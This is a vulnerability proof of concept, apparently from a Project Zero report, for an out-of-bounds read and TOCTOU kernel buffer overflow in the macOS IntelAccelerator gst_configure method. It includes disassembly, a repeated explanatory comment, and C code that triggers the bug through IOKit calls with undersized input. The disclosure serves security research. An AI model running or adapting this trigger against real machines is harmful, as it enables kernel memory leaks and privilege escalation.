/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=596
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366 push rbp
__text:000000000002A367 mov rbp, rsp
__text:000000000002A36A push r15
__text:000000000002A36C push r14
__text:000000000002A36E push r12
__text:000000000002A370 push rbx
__text:000000000002A371 mov rax, rdx
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
__text:000000000002A377 mov r14, rdi
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
__text:000000000002A381 cmp edx, 200h
__text:000000000002A387 jbe short loc_2A3AD
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
__text:000000000002A397 mov ecx, 200h
__text:000000000002A39C xor eax, eax
__text:000000000002A39E call _IOLog
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
However, we can do more:
r15 is passed to IntelAccelerator::gstqConfigure:
mov rsi, r15
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
where we reach the following code:
__text:000000000001DC29 mov edx, [rsi+800h]
__text:000000000001DC2F shl rdx, 2 ; size_t
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A call _memcpy
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
repro: while true; ./ig_gl_gst_oob_read; done
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
// ianbeer
/*
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366 push rbp
__text:000000000002A367 mov rbp, rsp
__text:000000000002A36A push r15
__text:000000000002A36C push r14
__text:000000000002A36E push r12
__text:000000000002A370 push rbx
__text:000000000002A371 mov rax, rdx
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
__text:000000000002A377 mov r14, rdi
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
__text:000000000002A381 cmp edx, 200h
__text:000000000002A387 jbe short loc_2A3AD
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
__text:000000000002A397 mov ecx, 200h
__text:000000000002A39C xor eax, eax
__text:000000000002A39E call _IOLog
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
However, we can do more:
r15 is passed to IntelAccelerator::gstqConfigure:
mov rsi, r15
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
where we reach the following code:
__text:000000000001DC29 mov edx, [rsi+800h]
__text:000000000001DC2F shl rdx, 2 ; size_t
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A call _memcpy
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
repro: while true; ./ig_gl_gst_oob_read; done
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 0;
outputStructCnt = 0;
inputStructCnt = 0x30;
err = IOConnectCallMethod(
conn,
0x205, //gst_operation
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
printf("that was an error in the first call, don't care!\n");
}
inputStructCnt = 0x1;
err = IOConnectCallMethod(
conn,
0x206, //gst_configure
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
return 0;
}
}
